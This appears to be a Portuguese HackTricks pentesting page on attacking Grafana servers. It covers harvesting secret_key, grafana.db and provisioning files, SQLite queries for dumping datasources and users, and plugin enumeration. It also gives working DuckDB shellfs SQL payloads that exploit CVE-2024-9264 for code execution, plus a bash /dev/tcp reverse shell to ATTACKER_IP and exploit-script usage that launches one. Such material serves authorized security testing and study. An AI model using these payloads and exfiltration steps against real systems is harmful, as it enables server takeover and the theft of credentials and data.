Grafana

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Coisas interessantes

  • A configuração principal geralmente está em /etc/grafana/grafana.ini (Deb/RPM) e pode conter valores sensíveis como admin_user, admin_password, secret_key, configurações OAuth, credenciais SMTP e renderer tokens.
  • Por padrão o Grafana armazena dados em SQLite3 em /var/lib/grafana/grafana.db.
  • Arquivos de provisioning são muito interessantes após obter acesso ao host:
  • /etc/grafana/provisioning/datasources/*.yaml
  • /etc/grafana/provisioning/plugins/*.yaml
  • A expansão de variáveis de ambiente é suportada em arquivos de provisioning, então leaked YAML frequentemente revela tanto secrets quanto os nomes das env vars que os respaldam.
  • Plugins instalados geralmente são encontrados em /var/lib/grafana/plugins.
  • Dentro da plataforma você pode convidar pessoas, gerar API keys / service account tokens, listar plugins, ou instalar novos plugins dependendo da função.
  • O navegador também é loot: Grafana expõe configuração de datasource não-secreta para o frontend. Se você tem uma sessão Viewer (ou anonymous access está habilitado), inspecione window.grafanaBootData pelo DevTools.

Verificações úteis em SQLite:

.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;

Exfiltrando datasources e segredos

Grafana separa a configuração legível pelo browser dos segredos criptografados:

  • jsonData é visível para usuários no browser e é frequentemente suficiente para enumerar hosts internos, tenants, modos de autenticação, nomes de header, regiões AWS, índices Elasticsearch, tenants Loki, URLs do Prometheus e dados de reconhecimento semelhantes.
  • secureJsonData é criptografado no servidor e não fica mais legível pelo browser depois que o datasource é salvo.

Fluxo de trabalho pós-exploração:

  1. Fazer dump de grafana.ini e recuperar secret_key.
  2. Exfiltrar grafana.db e arquivos de provisioning.
  3. Enumerar os datasources e a configuração de plugins para encontrar credenciais reutilizáveis e endpoints internos.
  4. Se migrar ou reproduzir o banco de dados em outra instância do Grafana, mantenha o mesmo secret_key ou as senhas/tokens armazenados dos datasources não serão descriptografados corretamente.

Por que o secret_key importa em versões mais recentes:

  • Desde o Grafana v9, os segredos do banco de dados usam envelope encryption.
  • O Grafana criptografa segredos com data encryption keys (DEKs), e esses DEKs são criptografados com uma key encryption key (KEK) derivada de secret_key.
  • Do ponto de vista do atacante, grafana.db + secret_key é o par que vale a pena roubar.

Superfície de ataque de plugins

Considere os plugins como parte do alvo, não uma nota de rodapé:

  • Enumere-os pelo filesystem, pela UI, ou pela API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
  • Plugins antigos ou de terceiros frequentemente ampliam o alcance do Grafana para redes internas porque fazem proxy de requisições HTTP ou interagem com arquivos/bancos de dados locais.
  • Exemplos recentes incluem SSRF no plugin Infinity (< 3.4.1) e caminhos de abuso onde o plugin Image Renderer transforma outro bug em full-read SSRF.

CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI

A funcionalidade experimental SQL Expressions do Grafana pode avaliar DuckDB queries que incorporam texto controlado pelo usuário. Sanitização insuficiente permite que atacantes encadeiem instruções DuckDB e carreguem a extensão comunitária shellfs, que expõe comandos shell via arquivos virtuais suportados por pipe.

Impacto

  • Qualquer usuário autenticado com VIEWER ou superior pode obter execução de código como o usuário do SO do Grafana (frequentemente grafana; às vezes root dentro de um container) ou realizar leituras de arquivos locais.
  • Precondições comumente presentes em implantações reais:
  • SQL Expressions habilitado: expressions.enabled = true
  • duckdb binary presente no PATH no servidor

Verificações rápidas

  • Na UI/API, navegue em Configurações de Admin (Swagger: /swagger-ui, endpoint /api/admin/settings) para confirmar:
  • expressions.enabled está true
  • Opcional: versão, tipos de datasource e configurações gerais de hardening
  • Shell no host: which duckdb deve resolver para o caminho de exploit abaixo.

Padrão de consulta manual usando DuckDB + shellfs

  • Fluxo de abuso (2 queries):
  1. Instalar e carregar a extensão shellfs, executar um comando, redirecionar a saída combinada para um arquivo temporário via pipe
  2. Ler o arquivo temporário usando read_blob

Exemplos de payloads de SQL Expressions que são passados para DuckDB:

-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');

Substitua CMD pelo comando desejado. Para leitura de arquivos (LFI), você pode usar as funções de arquivo do DuckDB para ler arquivos locais.

Exemplo de reverse shell one-liner

bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"

Incorpore isso como CMD na primeira consulta enquanto você tiver um listener: nc -lnvp 443.

PoC automatizado

Exemplo de uso

# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target

Se a saída mostrar uid=0(root), Grafana está sendo executado como root (comum dentro de alguns containers).

2025 client-side traversal / open redirect chain

A 2025 Grafana client-side traversal e open-redirect chain já estão documentadas em páginas client-side mais genéricas. Use essas técnicas contra caminhos específicos do Grafana, como plugin assets, dashboard script loaders e token-rotation redirects:

Client Side Path Traversal

Open Redirect

Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks